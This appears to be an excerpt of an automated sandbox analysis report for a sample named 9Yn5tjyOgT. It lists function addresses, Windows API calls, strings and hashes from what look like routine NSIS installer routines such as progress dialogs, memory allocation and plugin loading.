Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(00000000,00000064,00001D31), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

verifying installer: %d%%, xrefs: 00402E3A
unpacking data: %d%%, xrefs: 00402E33, 00402E43

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 738E2569 Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 738E121B: GlobalAlloc.KERNEL32(00000040,?,738E123B,?,738E12DF,00000019,738E11BE,-000000A0), ref: 738E1225

GlobalFree.KERNEL32(?), ref: 738E2657
GlobalFree.KERNEL32(00000000), ref: 738E268C

Memory Dump Source

Source File: 00000000.00000002.2811879470.00000000738E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 738E0000, based on PE: true

Associated: 00000000.00000002.2811849731.00000000738E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2811957570.00000000738E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2812015914.00000000738E6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_738e0000_9Yn5tjyOgT.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: c35d9899046c73b6615b1030167817078dc5f3dc71d31ff21c390c78f957cf1e
Instruction ID: 1d172fd849dc0c12fc5fa5bb7873e4e294a69c3b4e6cf77a6df683de3677ffce
Opcode Fuzzy Hash: c35d9899046c73b6615b1030167817078dc5f3dc71d31ff21c390c78f957cf1e
Instruction Fuzzy Hash: BA312272184509DFD756AFE5CC84F2A77BBFB87301328466DF65A83260C7309814CB11

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: ad54be54d1b33f2c3e643305ac3600c2e6c22dcacd93b56e136af0bf18fa41fc
Instruction ID: fa73a2a76dd28b4b8719808dd60f9f08d060129827b0ffc87b4efdc8f5ae5e12
Opcode Fuzzy Hash: ad54be54d1b33f2c3e643305ac3600c2e6c22dcacd93b56e136af0bf18fa41fc
Instruction Fuzzy Hash: 3D21BFB1D00124BBCF116FA5DE48D9E7E79EF09364F10023AF9607A2E1CB794D418B98

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

%u.%u%s%s, xrefs: 00404C97
(7B, xrefs: 00404C9F

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 00402598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp\System.dll,00000400,?,?,00000021), ref: 004025E8
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp\System.dll,00000400,?,?,00000021), ref: 004025F3

Strings

C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp\System.dll, xrefs: 004025B3, 004025DA, 004025EE, 0040263A
C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp, xrefs: 004025E1

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp$C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp\System.dll
API String ID: 3109718747-1161329906
Opcode ID: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction ID: c13fbae436403556d6c48d38c5ac6db5007ae9437622b5a65b164b2cac9ab4a1
Opcode Fuzzy Hash: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction Fuzzy Hash: FB110B72A00301BADB106BB18E8999F7664AF44359F20443BF502F21D0D9FC89416B5E

Function 738E18D9 Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 738E193A
GlobalFree.KERNEL32(?), ref: 738E1ADA
GlobalFree.KERNEL32(?), ref: 738E1ADF

Memory Dump Source

Source File: 00000000.00000002.2811879470.00000000738E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 738E0000, based on PE: true

Associated: 00000000.00000002.2811849731.00000000738E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2811957570.00000000738E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2812015914.00000000738E6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_738e0000_9Yn5tjyOgT.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: f79b9d1e28ec8ef09642910392f0f4216992eb423d2c4e944c3f8eb2cc7e6ef7
Instruction ID: 4509e5c2a5fe603a856916a21b64d2e1b29f9594ffe55d14362270611d326200
Opcode Fuzzy Hash: f79b9d1e28ec8ef09642910392f0f4216992eb423d2c4e944c3f8eb2cc7e6ef7
Instruction Fuzzy Hash: B451E932EC01599BDB12AFE8C585BBDB7BBEB47310B2482D9D507A3184D6709E81C791

Function 738E2394 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 738E24D6

Part of subcall function 738E122C: lstrcpynW.KERNEL32(00000000,?,738E12DF,00000019,738E11BE,-000000A0), ref: 738E123C

GlobalAlloc.KERNEL32(00000040), ref: 738E245C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 738E2477

Memory Dump Source

Source File: 00000000.00000002.2811879470.00000000738E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 738E0000, based on PE: true

Associated: 00000000.00000002.2811849731.00000000738E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2811957570.00000000738E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2812015914.00000000738E6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_738e0000_9Yn5tjyOgT.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: b808c2f007307231edcc8816d50d0e3dc0f986c44dc804e18cf877e3e106c116
Instruction ID: 679fb64e907e37413ef4149c4dd67c24098051902c90185af1a14b179e88c39b
Opcode Fuzzy Hash: b808c2f007307231edcc8816d50d0e3dc0f986c44dc804e18cf877e3e106c116
Instruction Fuzzy Hash: 3F41E2B208430DDFD310FFA5D844B2677BAFB8A325B108A6DF54A87591DB70A544CF61

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 738E161D Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,738E21EC,?,00000808), ref: 738E1635
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,738E21EC,?,00000808), ref: 738E163C
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,738E21EC,?,00000808), ref: 738E1650
GetProcAddress.KERNEL32(738E21EC,00000000), ref: 738E1657
GlobalFree.KERNEL32(00000000), ref: 738E1660

Memory Dump Source

Source File: 00000000.00000002.2811879470.00000000738E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 738E0000, based on PE: true

Associated: 00000000.00000002.2811849731.00000000738E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2811957570.00000000738E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2812015914.00000000738E6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_738e0000_9Yn5tjyOgT.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: f5aa22e50856bf2596e3cb3fd565e27a518a4004e4fb6b032fa7a4cb693a49de
Instruction ID: fd2b32e248f269cc444f5d1bd1bd0d808f781d4bc9504f9b244aea6fa2d0bdae
Opcode Fuzzy Hash: f5aa22e50856bf2596e3cb3fd565e27a518a4004e4fb6b032fa7a4cb693a49de
Instruction Fuzzy Hash: CDF01C73246538BBD66026B78C4CD9BBE9CDF8B2F6B250221F62C9229086714C01D7F1

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00405CBD Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

